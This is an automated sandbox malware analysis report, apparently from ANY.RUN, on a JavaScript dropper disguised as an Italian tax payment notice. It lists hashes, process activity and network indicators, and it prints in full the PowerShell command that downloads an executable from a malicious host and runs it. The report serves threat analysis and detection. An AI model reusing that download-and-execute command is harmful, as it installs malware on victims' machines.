File name: | _Notifica cartella di pagamento Notifica cartella di pagamento19375926399.pf413.js |
Full analysis: | https://app.any.run/tasks/21994e58-7463-45ef-a312-d287d922591a |
Verdict: | Malicious activity |
Analysis date: | March 21, 2019, 16:14:43 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with CRLF, LF line terminators |
MD5: | 47AABFAE2C629D697A25BFF83AC6B8F5 |
SHA1: | 033233DB36E1D70C44235233D17B9FE3159F6745 |
SHA256: | 5BEAFCBDCC07FA70506236DB5F574EC268B80A8A69A8CC246B9E553C0F8EF41F |
SSDEEP: | 48:9ZiSdYvj6o5ai0NShg8+9MOB5hwz4VOlykJdwYuw0mw9fo6a55FyyDNSjKfXDSI0:9oTx70IF+mihJqyMVuZmwBonByyD+WDS |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1484 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\_Notifica cartella di pagamento Notifica cartella di pagamento19375926399.pf413.js" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
3128 | "C:\Windows\System32\cmd.exe" /c powershell $cebiyai = [System.IO.Path]::GetTempPath() +'\..' +'\' + 'SearchI32.exe'; ( New-Object System.Net.WebClient ).DownloadFile('http://cloud.kokoheadlawyer.com/501?tauwgbuxaiebcbfbxawgttii',$cebiyai);Start-Sleep -s 30; Start-Process $cebiyai; | C:\Windows\System32\cmd.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2136 | powershell $cebiyai = [System.IO.Path]::GetTempPath() +'\..' +'\' + 'SearchI32.exe'; ( New-Object System.Net.WebClient ).DownloadFile('http://cloud.kokoheadlawyer.com/501?tauwgbuxaiebcbfbxawgttii',$cebiyai);Start-Sleep -s 30; Start-Process $cebiyai; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LBK0NU4ABLSY5M4XAXQ1.temp | — | |
MD5:— | SHA256:— | |||
2136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf8aa3.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
2136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2136 | powershell.exe | GET | — | 109.230.199.69:80 | http://cloud.kokoheadlawyer.com/501?tauwgbuxaiebcbfbxawgttii | SE | — | — | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2136 | powershell.exe | 109.230.199.69:80 | cloud.kokoheadlawyer.com | Portlane AB | SE | suspicious |
Domain | IP | Reputation |
---|---|---|
cloud.kokoheadlawyer.com |
| malicious |